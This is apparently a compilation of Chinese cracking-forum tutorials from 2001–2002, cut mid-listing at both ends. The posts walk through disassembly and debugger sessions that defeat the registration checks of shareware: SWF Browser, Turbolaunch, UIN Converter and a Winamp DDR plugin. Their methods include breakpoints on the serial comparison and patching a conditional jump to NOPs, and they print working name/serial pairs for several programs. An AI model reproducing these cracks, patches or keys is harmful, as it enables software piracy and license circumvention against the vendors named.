:0040C550 50 push eax ---这里存放真的注册码
:0040C551 51 push ecx ---这里是你输入的注册码
:0040C552 FF1500A24100 Call dword ptr [0041A200]


SWF BROWSER 2.93

 标 题:这是我今天破出来的第一个软件，呵呵，平安夜的早晨很冷的 (9千字)
发信人:freezelion
时 间:2001-12-24 21:16:23
详细信息:
SWF BROWSER 2。93（今天运气好二十多分钟就找到号了，虽然对高手这不算什么，呵呵，这可是我一周来的最快的一个了，好高兴）

开始时间：12/22 14:49
查找注册提示句
:004A99C1 E806FEFFFF call 004A97CC
:004A99C6 84C0 test al, al
:004A99C8 0F8492000000 je 004A9A60 跳到the serials number is invalid 偏移0A8DC8h
:004A99CE 6A00 push 00000000
:004A99D0 668B0DA49A4A00 mov cx, word ptr [004A9AA4]
:004A99D7 B202 mov dl, 02

* Possible StringData Ref from Code Obj ->"Thank you for registering SWF "
->"Browser!"
再找到入口处：
:0043238F 89430C mov dword ptr [ebx+0C], eax
先改改试试
:004A99C8 0F8492000000 je 004A9A60
还跟注册表有关，在成功注册下面：
* Possible StringData Ref from Code Obj ->"Software\Grooveware Multimedia\SWF "
->"Browser\Registration"
* Possible StringData Ref from Code Obj ->"Name"
* Possible StringData Ref from Code Obj ->"Serial"
输入：“xuebuhui ”“68941367”后再启动时，出错！打开注册表看看，写入的资料没错，由错误类型看，应该是读取注册资料时可能由于字节什么的不符合，而出现的不可预料的错误！
重装吧，再看看对注册码有什么要求！

继续时间：12/24 3：31
跟入判断语句上面的call调用：
* Referenced by a CALL at Addresses:
|:004A99C1 , :004AC8B3 , :004AC9EF , :004ACCB3 , :004ACFD9
|:004AE003
|
:004A97CC 55 push ebp ebp入栈
:004A97CD 8BEC mov ebp, esp ebp=esp
:004A97CF 6A00 push 00000000
:004A97D1 6A00 push 00000000
:004A97D3 6A00 push 00000000
:004A97D5 6A00 push 00000000
:004A97D7 6A00 push 00000000
:004A97D9 6A00 push 00000000
:004A97DB 6A00 push 00000000
:004A97DD 53 push ebx ebx入栈
:004A97DE 56 push esi esi入栈
:004A97DF 57 push edi
:004A97E0 894DF8 mov dword ptr [ebp-08], ecx
:004A97E3 8955FC mov dword ptr [ebp-04], edx
:004A97E6 8B45FC mov eax, dword ptr [ebp-04] 用户名到eax
:004A97E9 E81AA8F5FF call 00404008 什么用处？
:004A97EE 8B45F8 mov eax, dword ptr [ebp-08] 假sn到eax
:004A97F1 E812A8F5FF call 00404008 ？
:004A97F6 33C0 xor eax, eax eax清0
:004A97F8 55 push ebp
:004A97F9 68F5984A00 push 004A98F5
:004A97FE 64FF30 push dword ptr fs:[eax]
:004A9801 648920 mov dword ptr fs:[eax], esp
:004A9804 33C0 xor eax, eax eax清0
:004A9806 55 push ebp
:004A9807 68C6984A00 push 004A98C6
:004A980C 64FF30 push dword ptr fs:[eax]
:004A980F 648920 mov dword ptr fs:[eax], esp
:004A9812 33C9 xor ecx, ecx ecx清0
:004A9814 B201 mov dl, 01 dl=01

* Possible StringData Ref from Code Obj ->"0A"
|
:004A9816 A120874A00 mov eax, dword ptr [004A8720]
:004A981B E84CFCFFFF call 004A946C
:004A9820 8BD8 mov ebx, eax
:004A9822 33D2 xor edx, edx edx清0
:004A9824 8BC3 mov eax, ebx
:004A9826 E879F4FFFF call 004A8CA4
:004A982B 8D45F4 lea eax, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"1232hfbsdjdh2834121"
|
:004A982E BA10994A00 mov edx, 004A9910
:004A9833 E834A4F5FF call 00403C6C
:004A9838 8B55F4 mov edx, dword ptr [ebp-0C]
:004A983B 8BC3 mov eax, ebx
:004A983D E8B6F1FFFF call 004A89F8
:004A9842 8D4DF0 lea ecx, dword ptr [ebp-10]
:004A9845 8B55FC mov edx, dword ptr [ebp-04]
:004A9848 8BC3 mov eax, ebx
:004A984A E8F5F2FFFF call 004A8B44

* Possible StringData Ref from Code Obj ->"ewrwk214134g7df2"
|
:004A984F BA2C994A00 mov edx, 004A992C
:004A9854 8BC3 mov eax, ebx
:004A9856 E89DF1FFFF call 004A89F8
:004A985B 8D4DEC lea ecx, dword ptr [ebp-14]
:004A985E 8B55F0 mov edx, dword ptr [ebp-10]
:004A9861 8BC3 mov eax, ebx
:004A9863 E8DCF2FFFF call 004A8B44
:004A9868 C745E8EFFFFFFF mov [ebp-18], FFFFFFEF
:004A986F 8B45EC mov eax, dword ptr [ebp-14]
:004A9872 E8DDA5F5FF call 00403E54
:004A9877 85C0 test eax, eax
:004A9879 7E1A jle 004A9895
:004A987B 8B45EC mov eax, dword ptr [ebp-14]
:004A987E E8D1A5F5FF call 00403E54
:004A9883 50 push eax
:004A9884 8D45EC lea eax, dword ptr [ebp-14]
:004A9887 E898A7F5FF call 00404024
:004A988C 8D4DE8 lea ecx, dword ptr [ebp-18]
:004A988F 5A pop edx
:004A9890 E883FCFFFF call 004A9518

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A9879(C)
|
:004A9895 8B45E8 mov eax, dword ptr [ebp-18]
:004A9898 33D2 xor edx, edx
:004A989A 52 push edx
:004A989B 50 push eax
:004A989C 8D55E4 lea edx, dword ptr [ebp-1C]
:004A989F B820000000 mov eax, 00000020
:004A98A4 E89FF8F5FF call 00409148
:004A98A9 8B55E4 mov edx, dword ptr [ebp-1C]
:004A98AC 8B45F8 mov eax, dword ptr [ebp-08]
:004A98AF E8B0A6F5FF call 00403F64 真假注册码的比较
:004A98B4 7504 jne 004A98BA
:004A98B6 B301 mov bl, 01
:004A98B8 EB02 jmp 004A98BC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A98B4(C)
|
:004A98BA 33DB xor ebx, ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A98B8(U)
|
:004A98BC 33C0 xor eax, eax
:004A98BE 5A pop edx
:004A98BF 59 pop ecx
:004A98C0 59 pop ecx
:004A98C1 648910 mov dword ptr fs:[eax], edx
:004A98C4 EB0C jmp 004A98D2
:004A98C6 E9ED9AF5FF jmp 004033B8
:004A98CB 33DB xor ebx, ebx
:004A98CD E8429EF5FF call 00403714

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A98C4(U)
|
:004A98D2 33C0 xor eax, eax
:004A98D4 5A pop edx
:004A98D5 59 pop ecx
:004A98D6 59 pop ecx
:004A98D7 648910 mov dword ptr fs:[eax], edx
:004A98DA 68FC984A00 push 004A98FC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A98FA(U)
|
:004A98DF 8D45E4 lea eax, dword ptr [ebp-1C]
:004A98E2 E8EDA2F5FF call 00403BD4
:004A98E7 8D45EC lea eax, dword ptr [ebp-14]
:004A98EA BA05000000 mov edx, 00000005
:004A98EF E804A3F5FF call 00403BF8
:004A98F4 C3 ret

:004A98F5 E9729DF5FF jmp 0040366C
:004A98FA EBE3 jmp 004A98DF
:004A98FC 8BC3 mov eax, ebx
:004A98FE 5F pop edi
:004A98FF 5E pop esi
:004A9900 5B pop ebx
:004A9901 8BE5 mov esp, ebp
:004A9903 5D pop ebp
:004A9904 C3 ret
-----------------------------------------------------------------------
* Referenced by a CALL at Address:
|:004A981B
|
:004A946C 53 push ebx
:004A946D 56 push esi
:004A946E 84D2 test dl, dl dl为0（实际上是1）
:004A9470 7408 je 004A947A 就跳
:004A9472 83C4F0 add esp, FFFFFFF0 esp=esp-14
:004A9475 E8D29DF5FF call 0040324C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A9470(C)
|
:004A947A 8BDA mov ebx, edx
:004A947C 8BF0 mov esi, eax
:004A947E 33D2 xor edx, edx
:004A9480 8BC6 mov eax, esi
:004A9482 E8C1ECF6FF call 00418148
:004A9487 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->" TBlowCore嬂l嘕"
|
:004A9489 A1C8864A00 mov eax, dword ptr [004A86C8]
:004A948E E8499AF5FF call 00402EDC
:004A9493 894624 mov dword ptr [esi+24], eax
:004A9496 8BC6 mov eax, esi
:004A9498 84DB test bl, bl
:004A949A 740F je 004A94AB
:004A949C E8039EF5FF call 004032A4
:004A94A1 648F0500000000 pop dword ptr fs:[00000000]
:004A94A8 83C40C add esp, 0000000C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A949A(C)
|
:004A94AB 8BC6 mov eax, esi
:004A94AD 5E pop esi
:004A94AE 5B pop ebx
:004A94AF C3 ret
------------------------------------------------------------
用trw在004A98AF中设断，然后d eax和d edx可以看到自己的真假注册码
这里是Username:XueBuhui 假注册码：68941367 真注册码：81BDC2D3


SWF Browser v2.93

标 题:SWF Browser v2.93
发信人:飞狐
时 间:2002/02/26 09:01pm
详细信息:

SWF Browser v2.93的再PJ（高手莫入）
使用的工具是：TRW2000、WIN32DASM8.93
SWF Browser注册后可把flash文件中的元件拆解出来.在看雪论坛精华中有此软件的pj。但我所拿到的这个软件与MAUIboy2001[BCG] 的pj有所不同。此篇就算是他的姊妹篇吧。
1、用w32dsm89反汇编，查找字符串“the serial number is invalid”见①处.往上寻找是哪个指令跳到此处。看到如下代码：
:004A999E 8B83DC020000 mov eax, dword ptr [ebx+000002DC]
:004A99A4 E8074CF8FF call 0042E5B0
:004A99A9 8B45F4 mov eax, dword ptr [ebp-0C]
:004A99AC 50 push eax
:004A99AD 8D55F0 lea edx, dword ptr [ebp-10]
:004A99B0 8B83D4020000 mov eax, dword ptr [ebx+000002D4]
:004A99B6 E8F54BF8FF call 0042E5B0
:004A99BB 8B55F0 mov edx, dword ptr [ebp-10]
:004A99BE 8BC3 mov eax, ebx
:004A99C0 59 pop ecx
:004A99C1 E806FEFFFF call 004A97CC**********关键之处，按F8进入。见②处
:004A99C6 84C0 test al, al
:004A99C8 0F8492000000 je 004A9A60失败就跳。见①处。
:004A99CE 6A00 push 00000000
:004A99D0 668B0DA49A4A00 mov cx, word ptr [004A9AA4]
:004A99D7 B202 mov dl, 02

* Possible StringData Ref from Code Obj ->"Thank you for registering SWF "
->"Browser!"成功。
①******************************************************************
:004A9A60 6A00 push 00000000
:004A9A62 668B0DA49A4A00 mov cx, word ptr [004A9AA4]
:004A9A69 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"The serial number is invalid."失败之处。
|
:004A9A6B B8409B4A00 mov eax, 004A9B40
:004A9A70 E823B6FAFF call 00455098
:004A9A75 8BC3 mov eax, ebx
:004A9A77 E8E4FCF9FF call 00449760
②*****************************************************************
下文就是计算注册码之处。真正的注册码在程序的后半段。
:004A97CC 55 push ebp
:004A97CD 8BEC mov ebp, esp
:004A97CF 6A00 push 00000000
:004A97D1 6A00 push 00000000
:004A97D3 6A00 push 00000000
:004A97D5 6A00 push 00000000
:004A97D7 6A00 push 00000000
:004A97D9 6A00 push 00000000
:004A97DB 6A00 push 00000000
:004A97DD 53 push ebx
:004A97DE 56 push esi
:004A97DF 57 push edi
:004A97E0 894DF8 mov dword ptr [ebp-08], ecx
:004A97E3 8955FC mov dword ptr [ebp-04], edx
:004A97E6 8B45FC mov eax, dword ptr [ebp-04]
:004A97E9 E81AA8F5FF call 00404008
:004A97EE 8B45F8 mov eax, dword ptr [ebp-08]
:004A97F1 E812A8F5FF call 00404008
:004A97F6 33C0 xor eax, eax
:004A97F8 55 push ebp
:004A97F9 68F5984A00 push 004A98F5
:004A97FE 64FF30 push dword ptr fs:[eax]
:004A9801 648920 mov dword ptr fs:[eax], esp
:004A9804 33C0 xor eax, eax
:004A9806 55 push ebp
:004A9807 68C6984A00 push 004A98C6
:004A980C 64FF30 push dword ptr fs:[eax]
:004A980F 648920 mov dword ptr fs:[eax], esp
:004A9812 33C9 xor ecx, ecx
:004A9814 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"0A"
|
:004A9816 A120874A00 mov eax, dword ptr [004A8720]
:004A981B E84CFCFFFF call 004A946C
:004A9820 8BD8 mov ebx, eax
:004A9822 33D2 xor edx, edx
:004A9824 8BC3 mov eax, ebx
:004A9826 E879F4FFFF call 004A8CA4
:004A982B 8D45F4 lea eax, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"1232hfbsdjdh2834121"
|
:004A982E BA10994A00 mov edx, 004A9910
:004A9833 E834A4F5FF call 00403C6C
:004A9838 8B55F4 mov edx, dword ptr [ebp-0C]
:004A983B 8BC3 mov eax, ebx
:004A983D E8B6F1FFFF call 004A89F8
:004A9842 8D4DF0 lea ecx, dword ptr [ebp-10]
:004A9845 8B55FC mov edx, dword ptr [ebp-04]
:004A9848 8BC3 mov eax, ebx
:004A984A E8F5F2FFFF call 004A8B44

* Possible StringData Ref from Code Obj ->"ewrwk214134g7df2"
|
:004A984F BA2C994A00 mov edx, 004A992C
:004A9854 8BC3 mov eax, ebx
:004A9856 E89DF1FFFF call 004A89F8
:004A985B 8D4DEC lea ecx, dword ptr [ebp-14]
:004A985E 8B55F0 mov edx, dword ptr [ebp-10]
:004A9861 8BC3 mov eax, ebx
:004A9863 E8DCF2FFFF call 004A8B44
:004A9868 C745E8EFFFFFFF mov [ebp-18], FFFFFFEF
:004A986F 8B45EC mov eax, dword ptr [ebp-14]
:004A9872 E8DDA5F5FF call 00403E54
:004A9877 85C0 test eax, eax
:004A9879 7E1A jle 004A9895
:004A987B 8B45EC mov eax, dword ptr [ebp-14]
:004A987E E8D1A5F5FF call 00403E54
:004A9883 50 push eax
:004A9884 8D45EC lea eax, dword ptr [ebp-14]
:004A9887 E898A7F5FF call 00404024
:004A988C 8D4DE8 lea ecx, dword ptr [ebp-18]
:004A988F 5A pop edx
:004A9890 E883FCFFFF call 004A9518

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A9879(C)
|
:004A9895 8B45E8 mov eax, dword ptr [ebp-18]
:004A9898 33D2 xor edx, edx
:004A989A 52 push edx
:004A989B 50 push eax
:004A989C 8D55E4 lea edx, dword ptr [ebp-1C]
:004A989F B820000000 mov eax, 00000020
:004A98A4 E89FF8F5FF call 00409148
:004A98A9 8B55E4 mov edx, dword ptr [ebp-1C]　　EDX就是真正的注册码。
:004A98AC 8B45F8 mov eax, dword ptr [ebp-08]　　EAX是你输入的注册码。
:004A98AF E8B0A6F5FF call 00403F64有兴趣你可以跟进。见③处
:004A98B4 7504 jne 004A98BA
:004A98B6 B301 mov bl, 01
:004A98B8 EB02 jmp 004A98BC
③*****************************************************
注册码比较之处
:00403F64 53 push ebx
:00403F65 56 push esi
:00403F66 57 push edi
:00403F67 89C6 mov esi, eax假码。
:00403F69 89D7 mov edi, edx真正的注册码。
:00403F6B 39D0 cmp eax, edx比较注册码。
:00403F6D 0F848F000000 je 00404002相等就跳。
**********************************************************
通过上面的分析你应该明白在哪儿设断点了。如果想快速得到注册码，你可以在运行TRW2000后，直接设断点　BPX 4a98af DO "D EDX",填上注册码，按确定后，拦截成功后，你就可在数据窗口看到你所需要的注册码。另外你所输入的NAME的字符数必须大于3。
flyingfox:5E686773


Turbolaunch4.04

标 题:Turbolaunch4.04
发信人dola1234
时 间:2002/01/29 05:06pm
详细信息:

使用工具：W32Dasm8.93中文版
注：Turbolaunch4.04未经过UPX的压缩，而其5.0版则是经过了UPX1.20的压缩若要顺利pj
则需要事先脱壳,但是注册算法是相同的，故此可用同一个注册口令。

首先，用W32Dasm将目标程序加载，反汇编结束后发现String reference处于空白状态，
没有什么有用的信息可以利用。无奈之间，调试运行用户程序，直到注册窗口出现，而此时
想要切回W32Dasm的领空却是不能，故而继续运行客户程序直到注册出错的窗口出现，此时则
可以切回W32Dasm的领空，于是按F8[STEP OVER]或F7[STEP INTO]使W32Dasm处于单步运行状
态，然后再切换回用户程序的领空按[OK]键令程序运行，这时控制权又一次回到的W32Dasm
手中。从此我们可以控制程序的运作流程了。
令W32Dasm处于[ATUO STEP OVER]状态，自动单步执行用户程序，直到再一次出现注册
窗口，此时回到W32Dasm的领空，按[STEP INTO]令W32Dasm处于单步状态，再回到用户程序的
领空，键入用户名[dola]和注册码[77887788]，完毕后按[OK]键，程序被拦停与以下的程序
段：
:00463B04 mov eax, ebx
:00463B06 call TLAUNCH.00462C48
:00463B0B mov eax, dword ptr [0046CADC]
:00463B10 call TLAUNCH.00425B2C
:00463B15 dec eax <---当前EIP的所在位置
:00463B16 je 00463A5A
:00463B1C mov eax, dword ptr [0046CADC]
:00463B21 call TLAUNCH.00402BA0
:00463B26 mov eax, dword ptr [0046CAE0]
:00463B2B call TLAUNCH.00402BA0
:00463B30 xor eax, eax
此时按F8[STEP OVER]直到以下的程序段：
:00463A90 mov eax, 005B7FEC
:00463A95 call TLAUNCH.0040351C
:00463A9A mov ecx, dword ptr [005B7FEC]
:00463AA0 mov edx, dword ptr [005B7FE8]
:00463AA6 mov eax, ebx
:00463AA8 call TLAUNCH.00461674 <---当前EIP的所在位置（关键CALL）STEP INTO IT
:00463AAD mov byte ptr [005B7FF0], al <---放入旗标
:00463AB2 cmp byte ptr [005B7FF0], 00 <---判断旗帜
:00463AB9 je 00463AFB
:00463ABB mov edx, 00463BC4
:00463AC0 lea eax, dword ptr [ebp-04]
单步进入上面所视的CALL，直到如下的程序段：
:004617A7 test edx, edx
:004617A9 jne 004617BD
:004617AB cmp edi, 00000012
:004617AE jge 004617BD
:004617B0 lea eax, dword ptr [ebp-0C]
:004617B3 mov edx, 0046186C <---当前EIP的所在位置
:004617B8 call TLAUNCH.00403648
:004617BD inc edi
:004617BE cmp edi, 00000013
:004617C1 jne 004616FE
:004617C7 mov eax, dword ptr [ebp-0C]
此时见到EDX对应的数据区域为（其具体的作用稍后再说）：
[edx-00000014] - 47000000 ...G
[edx-00000010] - 53443246 F2DS
[edx-0000000C] - 48383341 A38H
[edx-00000008] - 374c4b4a JKL7
[edx-00000004] - 5a4e344d M4NZ
[edx+00000000] - 35564358 XCV5
[edx+00000004] - 55395942 BY9U
[edx+00000008] - 52365450 PT6R
[edx+0000000C] - 51574531 1EWQ
[edx+00000010] - 31493034 40I1
[edx+00000014] - 5a375043 CP7Z
[edx+00000018] - 454f4737 7GOE
[edx+0000001C] - 5a4c5150 PQLZ

此时继续按F8[STEP OVER]直到以下的程序段：
:004617B0 lea eax, dword ptr [ebp-0C]
:004617B3 mov edx, 0046186C
:004617B8 call TLAUNCH.00403648
:004617BD inc edi
:004617BE cmp edi, 00000013 <---检验是否到了13h个字节
:004617C1 jne 004616FE
:004617C7 mov eax, dword ptr [ebp-0C]<---真的注册码
:004617CA mov edx, dword ptr [ebp-08]<---假的注册码
:004617CD call TLAUNCH.00403750<---判断函数（为看到真的注册码在此设断点）
:004617D2 sete bl
:004617D5 mov edi, 00000019
在断点处停下来后见到如下的数据区：
[eax-00000014] - 38383737 7788
[eax-00000010] - 00000000 ....
[eax-0000000C] - 00000026 &...
[eax-00000008] - 00000001 ....
[eax-00000004] - 00000014 ....
[eax+00000000] - 324e4441 ADN2<---注册码
[eax+00000004] - 372d3835 58-7
[eax+00000008] - 3956324a J2V9
[eax+0000000C] - 53532d54 T-SS
[eax+00000010] - 44384537 7E8D
[eax+00000014] - 0046c400 ..F.
上面见到的数据区为计算用的密码表。
由此可以得到正确的注册码为：
用户名：dola
注册码：ADN258-7J2V9T-SS7E8D
（同样适用于5.0版本）


UIN Converter

 标 题:新手入门必读 (请进)--简体字版 (2千字)
发信人:Freeplayer
时 间:2001-9-19 18:49:25
详细信息:
接触破解已超过一年 , 老想着自己也来试试吧 , 但总是遇到很多意想不到的困难...
例如迷失在茫茫机器码中 , 又或是用不得其法 ... 结果当然是失败告终 , 也没太在意 :) 最近突然心血来潮 , 用心地看了一些前辈的破解心得後 , 下定决心 , 也来一次认真的破解吧 , 由於技术水平仍是新手阶段 , 自然有很多不足之处 , 还请各位见谅及指正 :-)
本篇破解是入门级数 , 高手就不用看了 , 但对新手如我的话 , 一定能增加对破解的认识及兴趣 (破解成功自然信心倍增) , 看雪大哥将它收录在入门区吧 :P

言归正传 , 开始 :

目的 : 1)随意键入任何键均成注册序号
2)找出真正注册序号

工具 : W32Dasm 8.93
HIEW32 6.55

目标 : UIN Converter
http://www.8th-wonder.net/cgi-bin/cd.cgi?uinconverter.zip
一个有趣的程式

保护 : 要先输入注册码方可使用 (要下载一个线上注册程序 , 但好像又要先注册成为会员什麽的 .. 不理了 , 破它 :-) )

过程 : 下载解压缩後 , 运行 uinconverter.exe , 弹出输入序号视窗 , 随意输入序号 , 按 "Validate" . *Boom* .. "Invalid serial!"
-离开 uinconverter , 打开 W32Dasm , 载入 uinconverter.exe , 往 String Data References , 还记得错误讯息吗 ? 对 . 就是 "Invalid serial!" , 找到後双击它 ,

* Possible StringData Ref from Code Obj ->"Invalid serial!"
|
:0040DD69 68D0334000 push 004033D0 ; <-- 你在此

往上找 , 看有没有什麽可疑地方.

:0040DD58 33FF xor edi, edi
:0040DD5A E9B2010000 jmp 0040DF11

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040DB8A(C) ; <--这里
|
:0040DD5F B804000280 mov eax, 80020004
:0040DD64 B90A000000 mov ecx, 0000000A

* Possible StringData Ref from Code Obj ->"Invalid serial!"
|
:0040DD69 68D0334000 push 004033D0

往 :0040DB8A 看一看

:0040DB8A 0F84CF010000 je 0040DD5F ; <-- 就是这个跳出错误讯息

OK , 离开 W32Dasm
打开 HIEW32 , 载入 uinconverter
F4 选 Decode , F5 键入 .40DB8A (Offset) , enter 後

0040DB8A: 0F84CF010000 je .00040DD5F -------- (1)

F3 (Edit) , 改成 909090909090
F9 更新 , F10 离开

重新打开 uinconverter , 我这里是输入 "123789" (什至不入序号)
Wow , 按下"Validate"後 , 变成 "OK" 可以进入了 !! :D
.
.
.
.
.
.
.
**前辈都说 , 搞破解一定要有忍耐力 , 观察力和好奇心
我想我应该有吧 , 本来已经搞定 , 但总觉有点怪怪的
为什麽删掉程序再开时还是已经破解了 ?
往 Regedit 处看一下 :

HKEY_LOCAL_MACHINE\SOFTWARE\Eighth Wonder\UIN Converter

看到了吗 ?

"Serial"="RIW13IE3GLN......" (删)

呵呵 , 真注册码出来了 :D

这是小弟的第一篇破解文章 , 写得不好或有待改善之处 , 请前辈多多指教 :)

Freeplayer
19/9/2001 3:38 PM


vis_ddr v1.11

 标 题:菜鸟破解vis_ddr v1.11 (14千字)
发信人:turkey99
时 间:2001-12-8 0:16:44
详细信息:
首先介绍一下破解对象－－－－－vis_ddr.dll ，此乃winamp的一个插件，可以让winamp实现跳舞毯的功能，这里破解的是它的v1.11版。没有注册前，不能使用跳舞毯，还有一个特殊效果也用不上。注册之后就没有这些限制了。好了，废话少说，请看我的破解过程。先声明我是菜鸟一个，而且对汇编语言很不熟悉，分析的过程中，有很多地方是我自己在猜测那条语句是干什么的，至于猜的正不正确还请高手门指教，我不想误人子弟。：）

先运行winamp，招到此插件的配置窗口，然后点击注册。哈哈，标准的注册窗口，用户名加注册码。先随便试了一下，有错误提示，本来可以用w32dsm黄金加强版反编译分析的，无赖我的汇编太差劲，只好作罢，用trw追吧。下中断bpx hmemcpy，返回到程序中，随便输入一些假的注册信息，然后点确定，被trw断下，敲入pmodule，一回车，疑？？？怎么直接回到程序的界面了啊。搞不懂怎么回事，不管它，再来一次，这次不打pmodule了，我直接按F12总可以了吧，按了11下就回到程序了，好下次就只要按10下了。重新来一次，按10下F12后，小心的按F10，N次后，来到如下的程序段：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10003740(C)
|

* Reference To: USER32.GetDlgItemTextA, Ord:0104h
|
:10003769 8B35D0B10010 mov esi, dword ptr [1000B1D0]
:1000376F 53 push ebx
:10003770 8B5C2430 mov ebx, dword ptr [esp+30]
:10003774 6A64 push 00000064
:10003776 6830F40010 push 1000F430
:1000377B 68FB030000 push 000003FB
:10003780 53 push ebx
:10003781 FFD6 call esi <－－取注册码长度放入EAX中
:10003783 8D4C240C lea ecx, dword ptr [esp+0C] <－－D EDX可看假码
:10003787 6A20 push 00000020
:10003789 51 push ecx
:1000378A 68FA030000 push 000003FA
:1000378F 53 push ebx
:10003790 FFD6 call esi
:10003792 8D54240C lea edx, dword ptr [esp+0C]
:10003796 52 push edx
:10003797 6830F40010 push 1000F430 <－－此处D 0287F430可看用户名
:1000379C E8EFF7FFFF call 10002F90 <－－这里有一个经典的对比，所以这个CALL嫌疑非常大，进去看看。*********************
:100037A1 83C408 add esp, 00000008
:100037A4 85C0 test eax, eax
:100037A6 0F84A3000000 je 1000384F
:100037AC 8D442430 lea eax, dword ptr [esp+30]
:100037B0 50 push eax

* Possible StringData Ref from Data Obj ->"Software\WinampDDR"
|
:100037B1 68F0D90010 push 1000D9F0
:100037B6 6801000080 push 80000001

* Reference To: ADVAPI32.RegCreateKeyA, Ord:015Eh
|
:100037BB FF1508B00010 Call dword ptr [1000B008]
:100037C1 8B542430 mov edx, dword ptr [esp+30]
:100037C5 85D2 test edx, edx
:100037C7 7452 je 1000381B
:100037C9 BF30F40010 mov edi, 1000F430
:100037CE 83C9FF or ecx, FFFFFFFF
:100037D1 33C0 xor eax, eax

* Reference To: ADVAPI32.RegSetValueExA, Ord:0186h
|
:100037D3 8B3504B00010 mov esi, dword ptr [1000B004]
:100037D9 F2 repnz
:100037DA AE scasb
:100037DB F7D1 not ecx
:100037DD 51 push ecx
:100037DE 6830F40010 push 1000F430
:100037E3 6A01 push 00000001
:100037E5 50 push eax

* Possible StringData Ref from Data Obj ->"User"
|
:100037E6 68E0D90010 push 1000D9E0
:100037EB 52 push edx
:100037EC FFD6 call esi
:100037EE 8D7C240C lea edi, dword ptr [esp+0C]
:100037F2 83C9FF or ecx, FFFFFFFF
:100037F5 33C0 xor eax, eax
:100037F7 8B542430 mov edx, dword ptr [esp+30]
:100037FB F2 repnz
:100037FC AE scasb
:100037FD F7D1 not ecx
:100037FF 51 push ecx
:10003800 8D4C2410 lea ecx, dword ptr [esp+10]
:10003804 51 push ecx
:10003805 6A01 push 00000001
:10003807 50 push eax

* Possible StringData Ref from Data Obj ->"RegCode"
|
:10003808 68E8D90010 push 1000D9E8
:1000380D 52 push edx
:1000380E FFD6 call esi
:10003810 8B442430 mov eax, dword ptr [esp+30]
:10003814 50 push eax

* Reference To: ADVAPI32.RegCloseKey, Ord:015Bh
|
:10003815 FF150CB00010 Call dword ptr [1000B00C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100037C7(C)
|
:1000381B 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"Register OK"
|
:1000381D 6880E00010 push 1000E080

* Possible StringData Ref from Data Obj ->"Thanks for registering WinampDDR!"
|
:10003822 685CE00010 push 1000E05C
:10003827 53 push ebx

* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:10003828 FF15A4B10010 Call dword ptr [1000B1A4]
:1000382E 6A01 push 00000001
:10003830 53 push ebx
:10003831 C70594F4001001000000 mov dword ptr [1000F494], 00000001

* Reference To: USER32.EndDialog, Ord:00B9h
|
:1000383B FF15E4B10010 Call dword ptr [1000B1E4]
:10003841 5B pop ebx
:10003842 5F pop edi
:10003843 B801000000 mov eax, 00000001
:10003848 5E pop esi
:10003849 83C420 add esp, 00000020
:1000384C C21000 ret 0010

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100037A6(C)
|
:1000384F 6A10 push 00000010

* Possible StringData Ref from Data Obj ->"Register failed"
|
:10003851 684CE00010 push 1000E04C

* Possible StringData Ref from Data Obj ->"Registration code invalid!"
|
:10003856 6830E00010 push 1000E030
:1000385B 53 push ebx

* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:1000385C FF15A4B10010 Call dword ptr [1000B1A4]
:10003862 6A01 push 00000001
:10003864 53 push ebx

* Reference To: USER32.EndDialog, Ord:00B9h
|
:10003865 FF15E4B10010 Call dword ptr [1000B1E4]
:1000386B 5B pop ebx
:1000386C 5F pop edi
:1000386D B801000000 mov eax, 00000001
:10003872 5E pop esi
:10003873 83C420 add esp, 00000020
:10003876 C21000 ret 0010
呵呵，上面这一大段，看不太懂，只知道是根据注册信息的正确与否来决定是显示注册成功的画面并在注册表里面记下相关信息还是直接显示注册失败的画面，不管它了，先进那个可疑CALL看看，如下:
这里接上面的**********************
* Referenced by a CALL at Addresses:
|:100010D8 , :1000379C
|
:10002F90 83EC28 sub esp, 00000028
:10002F93 55 push ebp
:10002F94 8B6C2430 mov ebp, dword ptr [esp+30]
:10002F98 85ED test ebp, ebp<--看用户名是否为空
:10002F9A 57 push edi
:10002F9B 0F8429010000 je 100030CA
:10002FA1 8B542438 mov edx, dword ptr [esp+38]
:10002FA5 85D2 test edx, edx<--看注册码是否为空
:10002FA7 0F841D010000 je 100030CA
:10002FAD 8BFD mov edi, ebp
:10002FAF 83C9FF or ecx, FFFFFFFF
:10002FB2 33C0 xor eax, eax
:10002FB4 F2 repnz
:10002FB5 AE scasb
:10002FB6 F7D1 not ecx
:10002FB8 49 dec ecx
:10002FB9 0F840B010000 je 100030CA
:10002FBF 8BFA mov edi, edx
:10002FC1 83C9FF or ecx, FFFFFFFF
:10002FC4 F2 repnz
:10002FC5 AE scasb
:10002FC6 F7D1 not ecx
:10002FC8 49 dec ecx
:10002FC9 0F84FB000000 je 100030CA
:10002FCF 53 push ebx
:10002FD0 32DB xor bl, bl
:10002FD2 B908000000 mov ecx, 00000008
:10002FD7 8D7C2411 lea edi, dword ptr [esp+11]
:10002FDB 885C2410 mov byte ptr [esp+10], bl
:10002FDF 33D2 xor edx, edx
:10002FE1 F3 repz
:10002FE2 AB stosd
:10002FE3 8BFD mov edi, ebp
:10002FE5 83C9FF or ecx, FFFFFFFF
:10002FE8 F2 repnz
:10002FE9 AE scasb
:10002FEA F7D1 not ecx
:10002FEC 49 dec ecx
:10002FED 56 push esi
:10002FEE 85C9 test ecx, ecx
:10002FF0 894C243C mov dword ptr [esp+3C], ecx
:10002FF4 7E0A jle 10003000

